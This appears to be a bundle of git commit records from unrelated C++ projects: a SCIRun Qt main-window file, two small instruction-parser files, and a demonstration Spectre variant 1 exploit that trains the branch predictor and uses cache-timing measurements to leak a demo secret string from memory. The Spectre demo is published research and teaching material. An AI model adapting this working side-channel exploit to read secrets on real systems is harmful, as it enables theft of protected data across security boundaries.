std::cout << "File load done." << std::endl; } catch (...) { std::cout << "File load failed." << std::endl; } setCurrentFile(filename); statusBar()->showMessage(tr("File loaded"), 2000); } } } bool SCIRunMainWindow::clearNetwork() { if (okToContinue()) { networkEditor_->clear(); setCurrentFile(""); return true; } return false; } void SCIRunMainWindow::setCurrentFile(const QString& fileName) { currentFile_ = fileName; setWindowModified(false); QString shownName = tr("Untitled"); if (!currentFile_.isEmpty()) { shownName = strippedName(currentFile_); //recentFiles.removeAll(curFile); //recentFiles.prepend(curFile); //updateRecentFileActions(); } setWindowTitle(tr("%1[*] - %2").arg(shownName).arg(tr("SCIRun 5 Prototype"))); } QString SCIRunMainWindow::strippedName(const QString& fullFileName) { return QFileInfo(fullFileName).fileName(); } void SCIRunMainWindow::closeEvent(QCloseEvent* event) { if (okToContinue()) { //writeSettings(); event->accept(); } else event->ignore(); } bool SCIRunMainWindow::okToContinue() { if (isWindowModified()) { int r = QMessageBox::warning(this, tr("SCIRun 5"), tr("The document has been modified.\n" "Do you want to save your changes?"), QMessageBox::Yes | QMessageBox::No | QMessageBox::Cancel); if (QMessageBox::Yes == r) { saveNetwork(); return true; } else if (QMessageBox::Cancel == r) return false; } return true; } void SCIRunMainWindow::networkModified() { setWindowModified(true); //updateStatusBar(); } void SCIRunMainWindow::ToggleRenderer() { #ifdef BUILD_VTK_SUPPORT renderWindow_->setEnabled(true); renderWindow_->setVisible(true); #endif } <commit_msg>End namespace changes. Closes #37.<commit_after>/* For more information, please see: http://software.sci.utah.edu The MIT License Copyright (c) 2012 Scientific Computing and Imaging Institute, University of Utah. License for the specific language governing rights and limitations under Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include <QtGui> #include <algorithm> #include <functional> #include <boost/bind.hpp> #include <Interface/Application/Logger.h> #include <Interface/Application/SCIRunMainWindow.h> #include <Interface/Application/NetworkEditor.h> #include <Dataflow/Engine/Controller/NetworkEditorController.h> #include <Interface/Application/NetworkEditorControllerGuiProxy.h> #include <Dataflow/Network/NetworkFwd.h> #include <Modules/Factory/HardCodedModuleFactory.h> #include <Dataflow/State/SimpleMapModuleState.h> #include <Dataflow/Serialization/Network/XMLSerializer.h> #include <Dataflow/Serialization/Network/NetworkDescriptionSerialization.h> #ifdef BUILD_VTK_SUPPORT #include "RenderWindow.h" #endif using namespace SCIRun; using namespace SCIRun::Gui; using namespace SCIRun::Dataflow::Engine; using namespace SCIRun::Dataflow::Networks; using namespace SCIRun::Modules::Factory; using namespace SCIRun::Dataflow::State; namespace { void visitTree(QStringList& list, QTreeWidgetItem* item) { list << item->text(0) + "," + QString::number(item->childCount()); if (item->childCount() != 0) item->setFlags(Qt::ItemIsSelectable | Qt::ItemIsEnabled); for (int i = 0; i < item->childCount(); ++i) visitTree(list, item->child(i)); } QStringList visitTree(QTreeWidget* tree) { QStringList list; for (int i = 0; i < tree->topLevelItemCount(); ++i) visitTree(list, tree->topLevelItem(i)); return list; } struct LogAppender : public Logger { explicit LogAppender(QTextEdit* text) : text_(text) {} void log(const QString& message) const { text_->append(message); } QTextEdit* text_; }; class TreeViewModuleGetter : public CurrentModuleSelection { public: explicit TreeViewModuleGetter(QTreeWidget& tree) : tree_(tree) {} virtual QString text() const { return tree_.currentItem()->text(0); } virtual bool isModule() const { return tree_.currentItem()->childCount() == 0; } private: QTreeWidget& tree_; }; } SCIRunMainWindow* SCIRunMainWindow::instance_ = 0; SCIRunMainWindow* SCIRunMainWindow::Instance() { if (!instance_) { instance_ = new SCIRunMainWindow; } return instance_; } SCIRunMainWindow::SCIRunMainWindow() { setupUi(this); boost::shared_ptr<TreeViewModuleGetter> getter(new TreeViewModuleGetter(*moduleSelectorTreeWidget_)); Logger::set_instance(new LogAppender(logTextBrowser_)); networkEditor_ = new NetworkEditor(getter, scrollAreaWidgetContents_); networkEditor_->setObjectName(QString::fromUtf8("networkEditor_")); networkEditor_->setContextMenuPolicy(Qt::ActionsContextMenu); networkEditor_->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOn); networkEditor_->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOn); networkEditor_->setModuleDumpAction(actionDump_positions); networkEditor_->verticalScrollBar()->setValue(0); networkEditor_->horizontalScrollBar()->setValue(0); actionExecute_All_->setStatusTip(tr("Execute all modules")); connect(actionExecute_All_, SIGNAL(triggered()), networkEditor_, SLOT(executeAll())); connect(actionClear_Network_, SIGNAL(triggered()), this, SLOT(clearNetwork())); connect(networkEditor_, SIGNAL(modified()), this, SLOT(networkModified())); ModuleFactoryHandle moduleFactory(new HardCodedModuleFactory); ModuleStateFactoryHandle sf(new SimpleMapModuleStateFactory); boost::shared_ptr<NetworkEditorController> controller(new NetworkEditorController(moduleFactory, sf)); boost::shared_ptr<NetworkEditorControllerGuiProxy> controllerProxy(new NetworkEditorControllerGuiProxy(controller)); networkEditor_->setNetworkEditorController(controllerProxy); gridLayout_5->addWidget(networkEditor_, 0, 0, 1, 1); QWidgetAction* moduleSearchAction = new QWidgetAction(this); moduleSearchAction->setDefaultWidget(new QLineEdit(this)); #if 0 { //TODO!!!! moduleSearchAction->setVisible(true); QToolBar* f = addToolBar(tr("&Search")); QWidgetAction* showModuleLabel = new QWidgetAction(this); showModuleLabel->setDefaultWidget(new QLabel("Module Search:", this)); showModuleLabel->setVisible(true); f->addAction(showModuleLabel); f->addAction(moduleSearchAction); } #endif QToolBar* executeBar = addToolBar(tr("&Execute")); executeBar->addAction(actionExecute_All_); QWidgetAction* globalProgress = new QWidgetAction(this); globalProgress->setDefaultWidget(new QProgressBar(this)); globalProgress->setVisible(true); executeBar->addAction(globalProgress); QWidgetAction* moduleCounter = new QWidgetAction(this); moduleCounter->setDefaultWidget(new QLabel("0/0", this)); moduleCounter->setVisible(true); executeBar->addAction(moduleCounter); scrollAreaWidgetContents_->addAction(actionExecute_All_); scrollAreaWidgetContents_->setContextMenuPolicy(Qt::ActionsContextMenu); scrollArea_->viewport()->setBackgroundRole(QPalette::Dark); scrollArea_->viewport()->setAutoFillBackground(true); networkEditor_->addActions(scrollAreaWidgetContents_); logTextBrowser_->setText("Hello! Welcome to the SCIRun5 Prototype."); QStringList result = visitTree(moduleSelectorTreeWidget_); std::for_each(result.begin(), result.end(), boost::bind(&Logger::log, boost::ref(*Logger::Instance()), _1)); connect(actionSave_As_, SIGNAL(triggered()), this, SLOT(saveNetworkAs())); connect(actionSave_, SIGNAL(triggered()), this, SLOT(saveNetwork())); connect(actionLoad_, SIGNAL(triggered()), this, SLOT(loadNetwork())); connect(actionQuit_, SIGNAL(triggered()), this, SLOT(close())); setCurrentFile(""); moduleSelectorTreeWidget_->expandAll(); #ifdef BUILD_VTK_SUPPORT // Build render window. renderWindow_ = new RenderWindow(this); renderWindow_->setEnabled(false); renderWindow_->setVisible(false); moduleFactory->setRenderer(renderWindow_); connect(actionRenderer, SIGNAL(triggered()), this, SLOT(ToggleRenderer())); #endif } void SCIRunMainWindow::saveNetwork() { if (currentFile_.isEmpty()) saveNetworkAs(); else saveNetworkFile(currentFile_); } void SCIRunMainWindow::saveNetworkAs() { QString filename = QFileDialog::getSaveFileName(this, "Save Network...", ".", "*.srn5"); saveNetworkFile(filename); } void SCIRunMainWindow::saveNetworkFile(const QString& fileName) { NetworkXMLHandle data = networkEditor_->controller_->saveNetwork(); ModulePositionsHandle positions = networkEditor_->dumpModulePositions(); NetworkFile file; file.network = *data; file.modulePositions = *positions; XMLSerializer::save_xml(file, fileName.toStdString(), "networkFile"); setCurrentFile(fileName); statusBar()->showMessage(tr("File saved"), 2000); std::cout << "file save done." << std::endl; setWindowModified(false); } void SCIRunMainWindow::loadNetwork() { if (okToContinue()) { QString filename = QFileDialog::getOpenFileName(this, "Load Network...", ".", "*.srn5"); if (!filename.isEmpty()) { networkEditor_->clear(); std::cout << "Attempting load of " << filename.toStdString() << std::endl; try { boost::shared_ptr<NetworkFile> xml = XMLSerializer::load_xml<NetworkFile>(filename.toStdString()); if (xml) { networkEditor_->controller_->loadNetwork(xml->network); networkEditor_->moveModules(xml->modulePositions); } else std::cout << "File load failed." << std::endl; std::cout << "File load done." << std::endl; } catch (...) { std::cout << "File load failed." << std::endl; } setCurrentFile(filename); statusBar()->showMessage(tr("File loaded"), 2000); } } } bool SCIRunMainWindow::clearNetwork() { if (okToContinue()) { networkEditor_->clear(); setCurrentFile(""); return true; } return false; } void SCIRunMainWindow::setCurrentFile(const QString& fileName) { currentFile_ = fileName; setWindowModified(false); QString shownName = tr("Untitled"); if (!currentFile_.isEmpty()) { shownName = strippedName(currentFile_); //recentFiles.removeAll(curFile); //recentFiles.prepend(curFile); //updateRecentFileActions(); } setWindowTitle(tr("%1[*] - %2").arg(shownName).arg(tr("SCIRun 5 Prototype"))); } QString SCIRunMainWindow::strippedName(const QString& fullFileName) { return QFileInfo(fullFileName).fileName(); } void SCIRunMainWindow::closeEvent(QCloseEvent* event) { if (okToContinue()) { //writeSettings(); event->accept(); } else event->ignore(); } bool SCIRunMainWindow::okToContinue() { if (isWindowModified()) { int r = QMessageBox::warning(this, tr("SCIRun 5"), tr("The document has been modified.\n" "Do you want to save your changes?"), QMessageBox::Yes | QMessageBox::No | QMessageBox::Cancel); if (QMessageBox::Yes == r) { saveNetwork(); return true; } else if (QMessageBox::Cancel == r) return false; } return true; } void SCIRunMainWindow::networkModified() { setWindowModified(true); //updateStatusBar(); } void SCIRunMainWindow::ToggleRenderer() { #ifdef BUILD_VTK_SUPPORT renderWindow_->setEnabled(true); renderWindow_->setVisible(true); #endif } <|endoftext|>
<commit_before>#include "Parser.hpp" Parser::Parser(int argc, char **argv) { for (int i = 1; i < argc; ++i) { _raw_args.push_back(std::string{argv[i]}); } } void Parser::add_arg(std::string longhand, std::vector<Constraint> constraints, std::string shorthand, bool required, std::string description) { _args.push_back(Arg{constraints, shorthand, longhand, description, required, {}}); } bool Parser::check_validity(std::string *const err_msg) { return true; } template <typename T> T Parser::get(std::string hand) const { return T(); } template <typename T> T Parser::get_shorthand(std::string shorthand) const { return T(); } template <typename T> T Parser::get_longhand(std::string longhand) const { return T(); } std::string Parser::get_raw() const { if (_raw_args.size() == 0) return ""; std::string list = _raw_args[0]; for (int i = 1; i < _raw_args.size(); ++i) { list += std::string{" "} + _raw_args[i]; } return list; } <commit_msg>rewhitespaced Parser.cpp<commit_after>#include "Parser.hpp" Parser::Parser(int argc, char **argv) { for (int i = 1; i < argc; ++i) { _raw_args.push_back(std::string{argv[i]}); } } void Parser::add_arg(std::string longhand, std::vector<Constraint> constraints, std::string shorthand, bool required, std::string description) { _args.push_back(Arg{constraints, shorthand, longhand, description, required, {}}); } bool Parser::check_validity(std::string *const err_msg) { return true; } template <typename T> T Parser::get(std::string hand) const { return T(); } template <typename T> T Parser::get_shorthand(std::string shorthand) const { return T(); } template <typename T> T Parser::get_longhand(std::string longhand) const { return T(); } std::string Parser::get_raw() const { if (_raw_args.size() == 0) return ""; std::string list = _raw_args[0]; for (int i = 1; i < _raw_args.size(); ++i) { list += std::string{" "} + _raw_args[i]; } return list; } <|endoftext|>
<commit_before>// // Parser.cpp // // // Created by James Spann on 4/23/14. // // #include <fstream> #include "Parser.h" #include "vm.h" #include "Variable.h" using namespace std; int addToInt(int origi, int val); string operand; bool isVariable; int currentInt; Variable parameters[5]; SymbolTable rect; void parse(char* fname){ rect.initializeTable(); char ch; int numParams; int paramPlace = 0; currentInt = 0; fstream fin(fname, fstream::in); while (fin >> noskipws >> ch) { if (isalpha(ch)) { operand += ch; }else if (isdigit(ch)) { int lucy = ch - '0'; currentInt = addToInt(currentInt,lucy); }else{ switch (ch) { case ' ': break; case ',': Variable t; t.value = currentInt; t.datatype = (isVariable) ? (1) : (0); parameters[paramPlace] = t; paramPlace++; currentInt = 0; isVariable = false; break; case '$': isVariable = true; break; case '\n': if (operand.compare("defi") == 0) { rect.addToTable('i',currentInt); }else if (operand.compare("add") == 0) { int jt = 0; if (paramPlace != 1 && paramPlace != 0) { for (int d = 1; d < paramPlace; d++) { if (parameters[d].datatype == 1){ jt +=rect.returnValues(parameters[d].value); }else{ jt +=parameters[d].value; } } } rect.setValue(parameters[0],jt); }else if (operand.compare("sub") == 0) { }else if (operand.compare("call") == 0) { }else{ cout << "Unknown operand: " << operand << endl; cout << "Halting" << endl; exit(1); } currentInt=0; paramPlace = 0; operand = ""; break; default: cout <<"Parse error"; } } } rect.printTable(); } int addToInt(int origi, int val){ return (origi * 10)+val ; } <commit_msg>Added structures for new operands<commit_after>// // Parser.cpp // // // Created by James Spann on 4/23/14. // // #include <fstream> #include "Parser.h" #include "vm.h" #include "Variable.h" using namespace std; int addToInt(int origi, int val); string operand; bool isVariable; int currentInt; Variable parameters[5]; SymbolTable rect; void parse(char* fname){ rect.initializeTable(); char ch; int numParams; int paramPlace = 0; currentInt = 0; fstream fin(fname, fstream::in); while (fin >> noskipws >> ch) { if (isalpha(ch)) { operand += ch; }else if (isdigit(ch)) { int lucy = ch - '0'; currentInt = addToInt(currentInt,lucy); }else{ switch (ch) { case ' ': break; case ',': Variable t; t.value = currentInt; t.datatype = (isVariable) ? (1) : (0); parameters[paramPlace] = t; paramPlace++; currentInt = 0; isVariable = false; break; case '$': isVariable = true; break; case '\n': if (operand.compare("defi") == 0) { rect.addToTable('i',currentInt); }else if (operand.compare("add") == 0) { int jt = 0; if (paramPlace != 1 && paramPlace != 0) { for (int d = 1; d < paramPlace; d++) { if (parameters[d].datatype == 1){ jt +=rect.returnValues(parameters[d].value); }else{ jt +=parameters[d].value; } } } rect.setValue(parameters[0],jt); }else if (operand.compare("sub") == 0) { }else if (operand.compare("call") == 0) { }else if (operand.compare("set") == 0) { }else if (operand.compare("hlt") == 0) { exit(0); }else{ cout << "Unknown operand: " << operand << endl; cout << "Halting" << endl; exit(1); } currentInt=0; paramPlace = 0; operand = ""; break; default: cout <<"Parse error"; } } } rect.printTable(); } int addToInt(int origi, int val){ return (origi * 10)+val ; } <|endoftext|>
<commit_before>/* * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ // TODO(jeanpierreda): Test on ARM. // TODO(jeanpierreda): Make this work on GCC. // TODO(jeanpierreda): Use a specific public Clang version, document specific CPUs. #ifdef _MSC_VER #include <intrin.h> #else #include <x86intrin.h> #endif #include <algorithm> #include <array> #include <cstring> #include <iostream> #include <memory> #include <numeric> #include <string> #include <string_view> #include <tuple> #include <vector> // Objective: given some control over accesses to the *non-secret* string // "Hello, world!", construct a program that obtains "It's a s3kr3t!!!" without // ever accessing it in the C++ execution model, using speculative execution and // side channel attacks // // It is far more convenient for the attacker if these are adjacent in memory, // since then there is no effort needed to discover the offset for the private // value relative to the public value. // However, it is not strictly necessary. The secret _could_ be anywhere // relative to the string, as long as there is some attacker-controlled value // that could reach it during buffer overflow. const std::string_view public_data = "Hello, world!"; const std::string_view private_data = "It's a s3kr3t!!!"; // Forces a memory read of the byte at address p. This will result in the byte // being loaded into cache. static void force_read(void *p) { (void)*(volatile char *)p; } // Returns the indices of the biggest and second-biggest values in the range. template <typename RangeT> static std::pair<int, int> top_two_indices(const RangeT &range) { std::pair<int, int> result = {0, 0}; // first biggest, second biggest for (int i = 0; i < range.size(); ++i) { if (range[i] > range[result.first]) { result.second = result.first; result.first = i; } else if (range[i] > range[result.second]) { result.second = i; } } return result; } // Leaks the byte that is physically located at &text[0] + offset, without ever // loading it. In the abstract machine, and in the code executed by the CPU, // this function does not load any memory except for what is in the bounds // of `text`, and local auxiliary data. // // Instead, the leak is performed by accessing out-of-bounds during speculative // execution, bypassing the bounds check by training the branch predictor to // think that the value will be in-range. static char leak_byte(std::string_view text, int offset) { // Create an array spanning at least 256 different cache lines, with // different cache line available for each possible byte. // We can use this for a timing attack: if the CPU has loaded a given cache // line, and the cache line it loaded was determined by secret data, we can // figure out the secret byte by identifying which cache line was loaded. // That can be done via a timing analysis. // // To do this, we create an array of 256 values, each of which do not share // the same cache line as any other. To eliminate false positives due // to prefetching, we also ensure no two values share the same page, // by spacing them at intervals of 4096 bytes. // // See 2.3.5.4 Data Prefetching in the Intel Optimization Reference Manual: // "Data prefetching is triggered by load operations when [...] // The prefetched data is within the same 4K byte page as the load // instruction that triggered it." // // ARM also has this constraint on prefetching: // http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0388i/CBBIAAAA.html // // Spacing of 4096 was used in the original Spectre paper as well: // https://spectreattack.com/spectre.pdf // struct BigByte { // Explicitly initialize the array. It doesn't matter what we write; it's // only important that we write *something* to each page. Otherwise, // there's an opportunity for the range to be allocated as zero-fill-on- // demand (ZFOD), where all virtual pages are a read-only mapping to the // *same* physical page of zeros. The cache in modern Intel CPUs is // physically-tagged, so all of those virtual addresses would map to the // same cache line and we wouldn't be able to observe a timing difference // between accessed and unaccessed pages (modulo e.g. TLB lookups). std::array<unsigned char, 4096> padding_ = {}; }; std::vector<BigByte> oracle_array(257); // The first value is adjacent to other elements on the stack, so // we only use the other elements, which are guaranteed to be on different // cache lines, and even different pages, than any other value. BigByte* isolated_oracle = &oracle_array[1]; const char *data = &text[0]; // The size needs to be unloaded from cache to force speculative execution // to guess the result of comparison. It could be stored on the stack, >=4096 // bytes away from any other values we use we use (which will be loaded into // cache). In this demo, it is more convenient to store it on the heap: // it is the _only_) heap-allocated value in this program, and easily removed // from cache. auto size_in_heap = std::make_unique<int>(text.size()); std::array<int64_t, 256> latencies = {}; std::array<int, 256> scores = {}; int best_val = 0, runner_up_val = 0; for (int run = 0;; ++run) { // Flush out entries from the timing array. Now, if they are loaded during // speculative execution, that will warm the cache for that entry, which // can be detected later via timing analysis. for (int i = 0; i < 256; ++i) _mm_clflush(&isolated_oracle[i]); // Clflush is not ordered with respect to reads, so it is necessary to place // the mfence instruction here so that the clflushes retire before the // force_read calls below. // "Performs a serializing operation on all load-from-memory and // store-to-memory instructions that were issued prior the MFENCE // instruction. This serializing operation guarantees that every load and // store instruction that precedes the MFENCE instruction in program order // becomes globally visible before any load or store instruction that // follows the MFENCE instruction." _mm_mfence(); // We pick a different offset every time so that it's guaranteed that the // value of the in-bounds access is usually different from the secret value // we want to leak via out-of-bounds speculative access. int safe_offset = run % text.size(); for (int i = 0; i < 10; ++i) { // Remove from cache so that we block on loading it from memory, // triggering speculative execution. _mm_clflush(&*size_in_heap); // Train the branch predictor: perform in-bounds accesses 9 times, // and then use the out-of-bounds offset we _actually_ care about on the // tenth time. int local_offset = ((i + 1) % 10) ? safe_offset : offset; if (local_offset < *size_in_heap) { // This branch was trained to always be taken during speculative // execution, so it's taken even on the tenth iteration, when the // condition is false! force_read(&isolated_oracle[data[local_offset]]); } } // Here's the timing side channel: find which char was loaded by measuring // latency. Indexing into isolated_oracle causes the relevant region of // memory to be loaded into cache, which makes it faster to load again than // it is to load entries that had not been accessed. // Only two offsets will have been accessed: safe_offset (which we ignore), // and i. // Note: if the character at safe_offset is the same as the character we // want to know at i, the data from this run will be useless, but later runs // will use a different safe_offset. for (int i = 0; i < 256; ++i) { // NOTE: a sufficiently smart compiler (or CPU) might pre-fetch the // cache lines, rendering them all equally fast. It may be necessary in // that case to try to confuse it by accessing the offsets in a // (pseudo-)random order, or some other trick. // On the CPUs this has been tested on, placing values 4096 bytes apart // is sufficient to defeat prefetching. void *timing_entry = &isolated_oracle[i]; _mm_mfence(); _mm_lfence(); int64_t start = __rdtsc(); _mm_lfence(); force_read(timing_entry); _mm_lfence(); latencies[i] = __rdtsc() - start; } _mm_lfence(); int64_t avg_latency = std::accumulate(latencies.begin(), latencies.end(), 0) / 256; // The difference between a cache-hit and cache-miss times is significantly // different across platforms. Therefore we must first compute its estimate // using the safe_offset which should be a cache-hit. int64_t hitmiss_diff = avg_latency - latencies[data[safe_offset]]; int hitcount = 0; for (int i = 0; i < 256; ++i) { if (latencies[i] < avg_latency - hitmiss_diff / 2 && i != data[safe_offset]) ++hitcount; } // If there is not exactly one hit, we consider that sample invalid and // skip it. if (hitcount == 1) { for (int i = 0; i < 256; ++i) { if (latencies[i] < avg_latency - hitmiss_diff / 2 && i != data[safe_offset]) ++scores[i]; } } std::tie(best_val, runner_up_val) = top_two_indices(scores); // TODO(jeanpierreda): This timing algorithm is suspect (it is measuring whether // something is usually faster than average, rather than usually faster, or // faster on average.) if (scores[best_val] > (2 * scores[runner_up_val] + 40)) break; // Otherwise: if we still don't know with high confidence, we can keep // accumulating timing data until we think we know the value. if (run > 100000) { std::cerr << "Does not converge " << best_val << " " << scores[best_val] << " " << runner_up_val << " " << scores[runner_up_val] << std::endl; exit(EXIT_FAILURE); } } return best_val; } int main(int argc, char** argv) { std::cout << "Leaking the string: "; std::cout.flush(); const int private_offset = private_data.begin() - public_data.begin(); for (int i = 0; i < private_data.size(); ++i) { // On at least some machines, this will print the i'th byte from // private_data, despite the only actually-executed memory accesses being // to valid bytes in public_data. std::cout << leak_byte(public_data, private_offset + i); std::cout.flush(); } std::cout << "\nDone!\n"; } <commit_msg>Migrating to C++11, using RDTSCP and mean latency instead of average.<commit_after>/* * Copyright 2019 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ // TODO(jeanpierreda): Test on ARM. // TODO(jeanpierreda): Make this work on GCC. // TODO(jeanpierreda): Use a specific public Clang version, document specific CPUs. #ifdef _MSC_VER #include <intrin.h> #else #include <x86intrin.h> #endif #include <algorithm> #include <array> #include <cstring> #include <iostream> #include <string> #include <tuple> #include <vector> // Objective: given some control over accesses to the *non-secret* string // "Hello, world!", construct a program that obtains "It's a s3kr3t!!!" without // ever accessing it in the C++ execution model, using speculative execution and // side channel attacks // // It is far more convenient for the attacker if these are adjacent in memory, // since then there is no effort needed to discover the offset for the private // value relative to the public value. // However, it is not strictly necessary. The secret _could_ be anywhere // relative to the string, as long as there is some attacker-controlled value // that could reach it during buffer overflow. const char *public_data = "Hello, world!"; const char *private_data = "It's a s3kr3t!!!"; // Forces a memory read of the byte at address p. This will result in the byte // being loaded into cache. static void force_read(void *p) { (void)*(volatile char *)p; } // Returns the indices of the biggest and second-biggest values in the range. template <typename RangeT> static std::pair<int, int> top_two_indices(const RangeT &range) { std::pair<int, int> result = {0, 0}; // first biggest, second biggest for (int i = 0; i < range.size(); ++i) { if (range[i] > range[result.first]) { result.second = result.first; result.first = i; } else if (range[i] > range[result.second]) { result.second = i; } } return result; } // Leaks the byte that is physically located at &text[0] + offset, without ever // loading it. In the abstract machine, and in the code executed by the CPU, // this function does not load any memory except for what is in the bounds // of `text`, and local auxiliary data. // // Instead, the leak is performed by accessing out-of-bounds during speculative // execution, bypassing the bounds check by training the branch predictor to // think that the value will be in-range. static char leak_byte(const char *data, int offset) { // Create an array spanning at least 256 different cache lines, with // different cache line available for each possible byte. // We can use this for a timing attack: if the CPU has loaded a given cache // line, and the cache line it loaded was determined by secret data, we can // figure out the secret byte by identifying which cache line was loaded. // That can be done via a timing analysis. // // To do this, we create an array of 256 values, each of which do not share // the same cache line as any other. To eliminate false positives due // to prefetching, we also ensure no two values share the same page, // by spacing them at intervals of 4096 bytes. // // See 2.3.5.4 Data Prefetching in the Intel Optimization Reference Manual: // "Data prefetching is triggered by load operations when [...] // The prefetched data is within the same 4K byte page as the load // instruction that triggered it." // // ARM also has this constraint on prefetching: // http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0388i/CBBIAAAA.html // // Spacing of 4096 was used in the original Spectre paper as well: // https://spectreattack.com/spectre.pdf // struct BigByte { // Explicitly initialize the array. It doesn't matter what we write; it's // only important that we write *something* to each page. Otherwise, // there's an opportunity for the range to be allocated as zero-fill-on- // demand (ZFOD), where all virtual pages are a read-only mapping to the // *same* physical page of zeros. The cache in modern Intel CPUs is // physically-tagged, so all of those virtual addresses would map to the // same cache line and we wouldn't be able to observe a timing difference // between accessed and unaccessed pages (modulo e.g. TLB lookups). std::array<unsigned char, 4096> padding_ = {}; }; std::vector<BigByte> oracle_array(257); // The first value is adjacent to other elements on the stack, so // we only use the other elements, which are guaranteed to be on different // cache lines, and even different pages, than any other value. BigByte* isolated_oracle = &oracle_array[1]; // The size needs to be unloaded from cache to force speculative execution // to guess the result of comparison. It could be stored on the stack, >=4096 // bytes away from any other values we use we use (which will be loaded into // cache). In this demo, it is more convenient to store it on the heap: // it is the _only_) heap-allocated value in this program, and easily removed // from cache. auto size_in_heap = new int(strlen(data)); std::array<int64_t, 256> latencies = {}; std::array<int64_t, 256> sorted_latencies = {}; std::array<int, 256> scores = {}; int best_val = 0, runner_up_val = 0; for (int run = 0;; ++run) { // Flush out entries from the timing array. Now, if they are loaded during // speculative execution, that will warm the cache for that entry, which // can be detected later via timing analysis. for (int i = 0; i < 256; ++i) _mm_clflush(&isolated_oracle[i]); // Clflush is not ordered with respect to reads, so it is necessary to place // the mfence instruction here so that the clflushes retire before the // force_read calls below. // "Performs a serializing operation on all load-from-memory and // store-to-memory instructions that were issued prior the MFENCE // instruction. This serializing operation guarantees that every load and // store instruction that precedes the MFENCE instruction in program order // becomes globally visible before any load or store instruction that // follows the MFENCE instruction." _mm_mfence(); // We pick a different offset every time so that it's guaranteed that the // value of the in-bounds access is usually different from the secret value // we want to leak via out-of-bounds speculative access. int safe_offset = run % strlen(data); for (int i = 0; i < 10; ++i) { // Remove from cache so that we block on loading it from memory, // triggering speculative execution. _mm_clflush(&*size_in_heap); // Train the branch predictor: perform in-bounds accesses 9 times, // and then use the out-of-bounds offset we _actually_ care about on the // tenth time. int local_offset = ((i + 1) % 10) ? safe_offset : offset; if (local_offset < *size_in_heap) { // This branch was trained to always be taken during speculative // execution, so it's taken even on the tenth iteration, when the // condition is false! force_read(&isolated_oracle[data[local_offset]]); } } // Here's the timing side channel: find which char was loaded by measuring // latency. Indexing into isolated_oracle causes the relevant region of // memory to be loaded into cache, which makes it faster to load again than // it is to load entries that had not been accessed. // Only two offsets will have been accessed: safe_offset (which we ignore), // and i. // Note: if the character at safe_offset is the same as the character we // want to know at i, the data from this run will be useless, but later runs // will use a different safe_offset. for (int i = 0; i < 256; ++i) { // NOTE: a sufficiently smart compiler (or CPU) might pre-fetch the // cache lines, rendering them all equally fast. It may be necessary in // that case to try to confuse it by accessing the offsets in a // (pseudo-)random order, or some other trick. // On the CPUs this has been tested on, placing values 4096 bytes apart // is sufficient to defeat prefetching. void *timing_entry = &isolated_oracle[i]; unsigned int junk; // RDTSCP instruction waits for execution of all preceding instructions. int64_t start = __rdtscp(&junk); _mm_lfence(); force_read(timing_entry); sorted_latencies[i] = latencies[i] = __rdtscp(&junk) - start; _mm_lfence(); } std::sort(sorted_latencies.begin(), sorted_latencies.end()); int64_t median_latency = sorted_latencies[128]; // The difference between a cache-hit and cache-miss times is significantly // different across platforms. Therefore we must first compute its estimate // using the safe_offset which should be a cache-hit. int64_t hitmiss_diff = median_latency - latencies[data[safe_offset]]; int hitcount = 0; for (int i = 0; i < 256; ++i) { if (latencies[i] < median_latency - hitmiss_diff / 2 && i != data[safe_offset]) ++hitcount; } // If there is not exactly one hit, we consider that sample invalid and // skip it. if (hitcount == 1) { for (int i = 0; i < 256; ++i) { if (latencies[i] < median_latency - hitmiss_diff / 2 && i != data[safe_offset]) ++scores[i]; } } std::tie(best_val, runner_up_val) = top_two_indices(scores); // TODO(jeanpierreda): This timing algorithm is suspect (it is measuring whether // something is usually faster than average, rather than usually faster, or // faster on average.) if (scores[best_val] > (2 * scores[runner_up_val] + 40)) break; // Otherwise: if we still don't know with high confidence, we can keep // accumulating timing data until we think we know the value. if (run > 100000) { std::cerr << "Does not converge " << best_val << " " << scores[best_val] << " " << runner_up_val << " " << scores[runner_up_val] << std::endl; exit(EXIT_FAILURE); } } delete size_in_heap; return best_val; } int main(int argc, char** argv) { std::cout << "Leaking the string: "; std::cout.flush(); const int private_offset = private_data - public_data; for (int i = 0; i < strlen(private_data); ++i) { // On at least some machines, this will print the i'th byte from // private_data, despite the only actually-executed memory accesses being // to valid bytes in public_data. std::cout << leak_byte(public_data, private_offset + i); std::cout.flush(); } std::cout << "\nDone!\n"; } <|endoftext|>
